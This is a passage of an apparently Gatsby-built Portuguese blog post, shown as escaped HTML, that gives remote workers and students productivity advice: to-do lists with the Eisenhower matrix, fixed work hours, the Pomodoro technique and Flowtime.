&lt;p&gt;Ela está assistindo às aulas de forma remota, e está lutando a mesma luta de todo
desenvolvedor que trabalha remoto: Manter o foco com tantas distrações e interrupções.&lt;/p&gt;
&lt;p&gt;E trabalhar remoto virou uma realidade (ainda maior, com a pandemia de &lt;em&gt;COVID-19&lt;/em&gt;) para praticamente todo o mercado de
desenvolvimento de &lt;em&gt;software&lt;/em&gt;. Tem gente que gosta, tem gente que não suporta a ideia. Mas o fato é que empresas como
o &lt;em&gt;Twitter&lt;/em&gt;, &lt;a href=&quot;https://www.terra.com.br/noticias/tecnologia/twitter-permitira-home-office-permanente-para-parte-de-seus-funcionarios,f1d771029e9e95268393c8989574f9139gzz6l5b.html&quot; title=&quot;Twitter permitirá &amp;#x27;home-office&amp;#x27; permanente para parte de seus funcionários&quot;&gt;já estão mostrando que esse modo de trabalho pode ser a regra daqui para frente&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Voltando à minha sobrinha, recomendei a técnica &lt;em&gt;Pomodoro&lt;/em&gt;, e com isso veio a ideia de escrever (novamente) sobre o assunto.&lt;/p&gt;
&lt;p&gt;Sem mais delongas, vamos ao que interessa.&lt;/p&gt;
&lt;h2&gt;1. Lista de tarefas&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/454f3d4dc7d1011e6699c94c5fdc79ef/77090/produtividade-glenn-carstens-peters-RLw-UC03Gwc-unsplash.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 66.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAQCA//EABUBAQEAAAAAAAAAAAAAAAAAAAEC/9oADAMBAAIQAxAAAAGl3wMCYz//xAAZEAEAAgMAAAAAAAAAAAAAAAACAQMAEjH/2gAIAQEAAQUCNRjLidBQJMc7ljnf/8QAFxEBAAMAAAAAAAAAAAAAAAAAAAIREv/aAAgBAwEBPwGmov/EABYRAQEBAAAAAAAAAAAAAAAAAAARAf/aAAgBAgEBPwGpr//EABsQAAICAwEAAAAAAAAAAAAAAAABESECEDJx/9oACAEBAAY/ArOZ8Jyp6hjP/8QAGRABAAMBAQAAAAAAAAAAAAAAAQARITFB/9oACAEBAAE/IfUJHdUcJB2r0WorhDNcpBwzdn//2gAMAwEAAgADAAAAEHAv/8QAFhEBAQEAAAAAAAAAAAAAAAAAEQAh/9oACAEDAQE/EAEOF//EABYRAQEBAAAAAAAAAAAAAAAAABEAIf/aAAgBAgEBPxBM+t//xAAbEAEBAAIDAQAAAAAAAAAAAAABEQAhMVFhgf/aAAgBAQABPxBY8YWH3DKdeiYClzZLesgU5Ma0nI2Jl8xIFWvc/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Pessoa escrevendo num bloco de notas o seu todo list&quot;
        title=&quot;Tenha prioridades (unsplash.com)&quot;
        src=&quot;/static/454f3d4dc7d1011e6699c94c5fdc79ef/212bf/produtividade-glenn-carstens-peters-RLw-UC03Gwc-unsplash.jpg&quot;
        srcset=&quot;/static/454f3d4dc7d1011e6699c94c5fdc79ef/7809d/produtividade-glenn-carstens-peters-RLw-UC03Gwc-unsplash.jpg 192w,
/static/454f3d4dc7d1011e6699c94c5fdc79ef/4ecad/produtividade-glenn-carstens-peters-RLw-UC03Gwc-unsplash.jpg 384w,
/static/454f3d4dc7d1011e6699c94c5fdc79ef/212bf/produtividade-glenn-carstens-peters-RLw-UC03Gwc-unsplash.jpg 768w,
/static/454f3d4dc7d1011e6699c94c5fdc79ef/5ef17/produtividade-glenn-carstens-peters-RLw-UC03Gwc-unsplash.jpg 1152w,
/static/454f3d4dc7d1011e6699c94c5fdc79ef/ac99c/produtividade-glenn-carstens-peters-RLw-UC03Gwc-unsplash.jpg 1536w,
/static/454f3d4dc7d1011e6699c94c5fdc79ef/77090/produtividade-glenn-carstens-peters-RLw-UC03Gwc-unsplash.jpg 4256w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Tenha prioridades (unsplash.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Fazer uma lista com os afazeres do dia é um bom primeiro passo em direção a ter algo feito. Pode parecer simplista, mas compreender o que precisa
ser feito, e acima de tudo, o que precisa ser feito primeiro, é uma das práticas mais básicas para combater a procrastinação.&lt;/p&gt;
&lt;p&gt;Os detalhes de como você fará essa lista podem variar de acordo com os diferentes autores. Dirão que você deveria
começar pelas coisas mais difíceis, ou que você deveria realizar tudo o que é importante antes de almoçar, ou ainda que você deveria planejar o dia seguinte antes
de dormir.&lt;/p&gt;
&lt;p&gt;Não importando a prática escolhida, deve-se ter cuidado com o seguinte: &lt;strong&gt;Quando tudo é importante, nada é importante&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Já me vi várias vezes com uma lista de tarefas tão grande, que fazê-las começou a perder o sentido, e entrei no espectro da procrastinação da sensação
de ter coisas demais para fazer, e não conseguir motivação para começar.&lt;/p&gt;
&lt;p&gt;Para evitar o desperdício e a frustração que essa situação pode ocasionar, existe a prática chamada &quot;Caixa de Eisenhower&quot; (ou &quot;Matriz de Eisenhower&quot;).&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/2c809b2463f953246b5e851e415a6297/4017f/produtividade-eisenhower-box.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 80.72916666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAQABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEBf/EABUBAQEAAAAAAAAAAAAAAAAAAAEC/9oADAMBAAIQAxAAAAHcS2aW0Cj/xAAYEAACAwAAAAAAAAAAAAAAAAABAhASIf/aAAgBAQABBQJsFxD6tGj/xAAVEQEBAAAAAAAAAAAAAAAAAAAREP/aAAgBAwEBPwEZ/8QAFhEAAwAAAAAAAAAAAAAAAAAAARAR/9oACAECAQE/ATV//8QAFRABAQAAAAAAAAAAAAAAAAAAECH/2gAIAQEABj8CY//EABoQAQEAAgMAAAAAAAAAAAAAAAERABAhMZH/2gAIAQEAAT8hRVwocPugw7YVLNf/2gAMAwEAAgADAAAAELvP/8QAFxEAAwEAAAAAAAAAAAAAAAAAARARMf/aAAgBAwEBPxAbWL//xAAWEQEBAQAAAAAAAAAAAAAAAAABECH/2gAIAQIBAT8QQcn/xAAbEAEBAAIDAQAAAAAAAAAAAAABEQAhMVHREP/aAAgBAQABPxCYHXTMk4Kmle5DrHnM4prDOoEWD58//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Diagrama ilustrando a Caixa de Eisenhower&quot;
        title=&quot;Separe suas tarefas em quatro quadrantes, descarte o que for classificado como não importante/não urgente (jamesclear.com)&quot;
        src=&quot;/static/2c809b2463f953246b5e851e415a6297/212bf/produtividade-eisenhower-box.jpg&quot;
        srcset=&quot;/static/2c809b2463f953246b5e851e415a6297/7809d/produtividade-eisenhower-box.jpg 192w,
/static/2c809b2463f953246b5e851e415a6297/4ecad/produtividade-eisenhower-box.jpg 384w,
/static/2c809b2463f953246b5e851e415a6297/212bf/produtividade-eisenhower-box.jpg 768w,
/static/2c809b2463f953246b5e851e415a6297/4017f/produtividade-eisenhower-box.jpg 990w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Separe suas tarefas em quatro quadrantes, descarte o que for classificado como não importante/não urgente (jamesclear.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Separe a sua lista em quatro quadrantes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Importante, urgente:&lt;/strong&gt; Faça, e faça agora&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Importante, não urgente:&lt;/strong&gt; Agende um tempo para fazer isso&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Não importante, urgente:&lt;/strong&gt; Ache alguém para fazer isso para você&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Não importante, não urgente:&lt;/strong&gt; Descarte&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Papel e caneta são o suficiente para começar. Há inúmeras aplicações que auxiliam na criação de &lt;em&gt;todo lists&lt;/em&gt;, que vão desde soluções mais simples
como o &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.google.android.apps.tasks&amp;#x26;hl=en_US&quot; title=&quot;Veja mais no Google Play Store&quot;&gt;&lt;em&gt;Google Tasks&lt;/em&gt;&lt;/a&gt; e
&lt;a href=&quot;https://support.apple.com/en-us/HT205890&quot; title=&quot;Leia mais sobre o Apple Reminders&quot;&gt;&lt;em&gt;Reminders&lt;/em&gt;&lt;/a&gt;, até soluções mais arrojadas como o &lt;a href=&quot;https://trello.com/&quot; title=&quot;Boards, lists and cards&quot;&gt;&lt;em&gt;Trello&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;https://todoist.com/&quot; title=&quot;Organize it all with Todoist&quot;&gt;&lt;em&gt;Todoist&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://get.todoist.help/hc/pt-br/articles/210762449-Matriz-de-Eisenhower-com-Todoist&quot;&gt;Leia mais sobre a Matriz de Eisenhower no blog do Todoist&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;2. Tenha um horário para começar e terminar&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/fe285940faaee5111f5472bc33e59d18/c83bb/produtividade-laura-chouette-PfJfQgseAHI-unsplash.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 75%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAPABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUBAgT/xAAVAQEBAAAAAAAAAAAAAAAAAAAAAv/aAAwDAQACEAMQAAABaTXNJgBT/8QAGRAAAwEBAQAAAAAAAAAAAAAAAAECAxIx/9oACAEBAAEFArrkVpya5uicdZF5/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFhEAAwAAAAAAAAAAAAAAAAAAARAR/9oACAECAQE/ATV//8QAGRAAAgMBAAAAAAAAAAAAAAAAAREAAhAh/9oACAEBAAY/AuCNYDUowq47n//EABwQAAMAAgMBAAAAAAAAAAAAAAABETFBIVFxof/aAAgBAQABPyF6pWvw5wXaFjAzRq2eri9lJLk//9oADAMBAAIAAwAAABCUD//EABYRAAMAAAAAAAAAAAAAAAAAAAEQEf/aAAgBAwEBPxARf//EABcRAAMBAAAAAAAAAAAAAAAAAAEQESH/2gAIAQIBAT8QKsX/xAAdEAEBAQACAgMAAAAAAAAAAAABEQAhQTFhcZHB/9oACAEBAAE/EKga89frCoLQWxyENFLHrWxvyvP1rJy1ovyKYAQgK+9//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Demonstração do despertar pela manhã com café&quot;
        title=&quot;Tenha um horário para acordar e começar o seu dia (unsplash.com)&quot;
        src=&quot;/static/fe285940faaee5111f5472bc33e59d18/212bf/produtividade-laura-chouette-PfJfQgseAHI-unsplash.jpg&quot;
        srcset=&quot;/static/fe285940faaee5111f5472bc33e59d18/7809d/produtividade-laura-chouette-PfJfQgseAHI-unsplash.jpg 192w,
/static/fe285940faaee5111f5472bc33e59d18/4ecad/produtividade-laura-chouette-PfJfQgseAHI-unsplash.jpg 384w,
/static/fe285940faaee5111f5472bc33e59d18/212bf/produtividade-laura-chouette-PfJfQgseAHI-unsplash.jpg 768w,
/static/fe285940faaee5111f5472bc33e59d18/5ef17/produtividade-laura-chouette-PfJfQgseAHI-unsplash.jpg 1152w,
/static/fe285940faaee5111f5472bc33e59d18/ac99c/produtividade-laura-chouette-PfJfQgseAHI-unsplash.jpg 1536w,
/static/fe285940faaee5111f5472bc33e59d18/c83bb/produtividade-laura-chouette-PfJfQgseAHI-unsplash.jpg 4608w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Tenha um horário para acordar e começar o seu dia (unsplash.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Consigo até imaginar você revirando os olhos nesse momento.&lt;/p&gt;
&lt;p&gt;Mas sim, tão importante quanto saber o que você tem que fazer, e em qual ordem, é saber quando começar e parar. Principalmente se fará parte do
seu cotidiano fazer &lt;em&gt;home-office&lt;/em&gt;, ou estudar de casa.&lt;/p&gt;
&lt;p&gt;Com um horário para começar, você se predispõe a começar a executar os itens da sua lista de tarefas em um determinado período. Com o tempo e a repetição,
vem a rotina. E aquilo que no início era doloroso passa a fazer parte do seu cotidiano.&lt;/p&gt;
&lt;p&gt;Tão crucial quanto, é saber quando parar. Estar remoto não significa que você tenha que trabalhar mais horas, ou que tenha que ficar
até tarde. O descanso é fundamental para que você mantenha-se produtivo no dia seguinte. Mas além disso, é uma questão de saúde! Imagine
que você está indo para o escritório, ou para a escola.&lt;/p&gt;
&lt;p&gt;Atente-se aos horários de entrada e saída.&lt;/p&gt;
&lt;h2&gt;3. Pomodoro&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/0e659a6b88216355905a0a665efa021d/4b190/produtividade-processo-pomodoro.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 112.5%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAXABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAECBf/EABYBAQEBAAAAAAAAAAAAAAAAAAABAv/aAAwDAQACEAMQAAAB60uprCE1AA//xAAYEAADAQEAAAAAAAAAAAAAAAAAAREQIf/aAAgBAQABBQIWK07BZ//EABQRAQAAAAAAAAAAAAAAAAAAACD/2gAIAQMBAT8BH//EABQRAQAAAAAAAAAAAAAAAAAAACD/2gAIAQIBAT8BH//EABkQAAIDAQAAAAAAAAAAAAAAABAhAAEgMf/aAAgBAQAGPwKOsMdH/8QAHBAAAgEFAQAAAAAAAAAAAAAAAAERITFBUXEQ/9oACAEBAAE/IVwlXYPhUTbHioZCEiZuehs//9oADAMBAAIAAwAAABDIOMP/xAAZEQADAAMAAAAAAAAAAAAAAAAAAREQITH/2gAIAQMBAT8Q5oajhcf/xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAECAQE/EB//xAAbEAADAQEBAQEAAAAAAAAAAAABESEAMUFRgf/aAAgBAQABPxABAQSk0jQo4WMIYYCbkkoZ9/PMeHcClobV+4uEmKY0wsISIawZDXm//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Descrição do processo do Pomodoro&quot;
        title=&quot;O ciclo aplicado através da técnica (simplesfica.com)&quot;
        src=&quot;/static/0e659a6b88216355905a0a665efa021d/212bf/produtividade-processo-pomodoro.jpg&quot;
        srcset=&quot;/static/0e659a6b88216355905a0a665efa021d/7809d/produtividade-processo-pomodoro.jpg 192w,
/static/0e659a6b88216355905a0a665efa021d/4ecad/produtividade-processo-pomodoro.jpg 384w,
/static/0e659a6b88216355905a0a665efa021d/212bf/produtividade-processo-pomodoro.jpg 768w,
/static/0e659a6b88216355905a0a665efa021d/4b190/produtividade-processo-pomodoro.jpg 800w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;O ciclo aplicado através da técnica (simplesfica.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/2017/06/29/pomodoro-ftw.html&quot; title=&quot;Pomodoro FTW!&quot;&gt;Já falamos sobre &lt;em&gt;Pomodoro&lt;/em&gt; por aqui&lt;/a&gt;, e a prática resume-se em:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Escolha uma tarefa&lt;/li&gt;
&lt;li&gt;Programe o seu despertador para despertar em 25 minutos&lt;/li&gt;
&lt;li&gt;Trabalhe nessa tarefa durante os 25 minutos&lt;/li&gt;
&lt;li&gt;Faça uma pausa de 5 minutos&lt;/li&gt;
&lt;li&gt;Repita do início&lt;/li&gt;
&lt;li&gt;A cada quatro intervalos de 25 minutos, faça uma pausa de 15 minutos&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A dinâmica aqui te força a focar no processo (algo perfeitamente alcançável), ao invés de focar no resultado da tarefa (algo por vezes difícil de alcançar). Os
benefícios são muito bem explicados na fantástica &lt;em&gt;webcomic&lt;/em&gt; &lt;a href=&quot;http://mel-meow.com/uma-longa-noite-aprendendo/&quot; title=&quot;Veja em quadrinhos como aplicar o Pomodoro&quot;&gt;Uma Longe Noite Aprendendo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.moosti.com/&quot; title=&quot;Conheça  o moosti&quot;&gt;Moosti&lt;/a&gt; e &lt;a href=&quot;https://apps.apple.com/us/app/be-focused-focus-timer/id973130201&quot;&gt;Be Focused&lt;/a&gt; são
&lt;em&gt;apps&lt;/em&gt; gratuítos bem interessantes. Mas qualquer dispositivo que você possa programar
um alarme é mais do que o suficiente.&lt;/p&gt;
&lt;h2&gt;4. Flowtime&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/c0a7c28f8d759dec57b62c844918f8e9/2cefc/produtividade-processo-flowtime.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 18.75%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAd0lEQVQI14WJaw7CIBAGuf+hqlATK9QmQE8CLI9Q1C8Qjf862WxmZ9lz2+y+q3WdLpNUyljLhcBoa0acb7M2mgt+FRzfh5SI92WBs5RSKYUiee9jjDlnSAgBQkTOueH/EY4NZ69Oa+3dGeeQ08iOTq31+PLz0/gB7QrfOt6aD7wAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Planilha mostrando como funciona o Flowtime&quot;
        title=&quot;Com uma planilha, ou até mesmo bloco de notas, fica fácil por em prática (medium.com)&quot;
        src=&quot;/static/c0a7c28f8d759dec57b62c844918f8e9/e5715/produtividade-processo-flowtime.png&quot;
        srcset=&quot;/static/c0a7c28f8d759dec57b62c844918f8e9/8514f/produtividade-processo-flowtime.png 192w,
/static/c0a7c28f8d759dec57b62c844918f8e9/804b2/produtividade-processo-flowtime.png 384w,
/static/c0a7c28f8d759dec57b62c844918f8e9/e5715/produtividade-processo-flowtime.png 768w,
/static/c0a7c28f8d759dec57b62c844918f8e9/4ad3a/produtividade-processo-flowtime.png 1152w,
/static/c0a7c28f8d759dec57b62c844918f8e9/2cefc/produtividade-processo-flowtime.png 1400w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Com uma planilha, ou até mesmo bloco de notas, fica fácil por em prática (medium.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Ainda no campo da gestão de tempo, existe a técnica &lt;em&gt;Flowtime&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/@lightsandcandy/abandoning-pomodoros-part-one-the-pros-and-cons-of-pomos-e3f3e9342ac9#.49nl4ljyp&quot; title=&quot;Abandoning Pomodoros, Part One: The Pros and Cons of Pomos&quot;&gt;Segundo a autora&lt;/a&gt;,
ela se sentia frustrada com a (podemos dizer) rigidez do método &lt;em&gt;Pomodoro&lt;/em&gt;. Coisas que vão desde a indivisibilidade das sessões, até o que ela chama de &quot;tirania do despertador&quot;,
onde estamos empolgados com alguma tarefa e somos obrigados a pará-la para tirar os 5 minutos de pausa.&lt;/p&gt;
&lt;p&gt;Quem já trabalhou com &lt;em&gt;Pomodoro&lt;/em&gt; e desenvolvimento de &lt;em&gt;software&lt;/em&gt; deve ter se identificado aqui. Estar no meio de uma lógica, e ser &quot;obrigado&quot; a parar é completamente
frustrante.&lt;/p&gt;
&lt;p&gt;A prática foca nas três principais características do &lt;em&gt;Pomodoro&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Monitorar tempo&lt;/li&gt;
&lt;li&gt;Foco em uma tarefa por vez&lt;/li&gt;
&lt;li&gt;Pausas periódicas&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Com a adição de uma nova característica: &lt;em&gt;flow&lt;/em&gt;. Ou seja, se você estiver embalado realizando uma tarefa, continue!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/f8202624904fa099e5936f7d11a216ed/d165a/produtividade-processo-flowtime2.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 75.52083333333334%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAPABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAIBAwT/xAAVAQEBAAAAAAAAAAAAAAAAAAABAv/aAAwDAQACEAMQAAAB0qsS1jg//8QAGBAAAwEBAAAAAAAAAAAAAAAAAQIQESH/2gAIAQEAAQUC2MgY8v8A/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAIAQIBAT8BV//EABcQAAMBAAAAAAAAAAAAAAAAAAABIDH/2gAIAQEABj8CMU//xAAbEAEAAgIDAAAAAAAAAAAAAAABABFBUSFh4f/aAAgBAQABPyFtgY14S4IaiZLK43K6n//aAAwDAQACAAMAAAAQi8//xAAWEQEBAQAAAAAAAAAAAAAAAAAAARH/2gAIAQMBAT8QjH//xAAWEQADAAAAAAAAAAAAAAAAAAABEDH/2gAIAQIBAT8QMT//xAAdEAEAAgICAwAAAAAAAAAAAAABABEhMUFhcZHw/9oACAEBAAE/EELYPAw2x6kFEIcD7mW1svbEGF4bXcLZtnuf/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Foto de um bloco de notas com o Flowtime em prática&quot;
        title=&quot;Flowtime na prática com um bloco de notas (medium.com)&quot;
        src=&quot;/static/f8202624904fa099e5936f7d11a216ed/212bf/produtividade-processo-flowtime2.jpg&quot;
        srcset=&quot;/static/f8202624904fa099e5936f7d11a216ed/7809d/produtividade-processo-flowtime2.jpg 192w,
/static/f8202624904fa099e5936f7d11a216ed/4ecad/produtividade-processo-flowtime2.jpg 384w,
/static/f8202624904fa099e5936f7d11a216ed/212bf/produtividade-processo-flowtime2.jpg 768w,
/static/f8202624904fa099e5936f7d11a216ed/5ef17/produtividade-processo-flowtime2.jpg 1152w,
/static/f8202624904fa099e5936f7d11a216ed/d165a/produtividade-processo-flowtime2.jpg 1400w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Flowtime na prática com um bloco de notas (medium.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Portanto, o processo é mais ou menos o seguinte:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Escolha uma tarefa, e escreva a hora de início&lt;/li&gt;
&lt;li&gt;Descanse quando você sentir necessidade, e escreva a hora da pausa&lt;/li&gt;
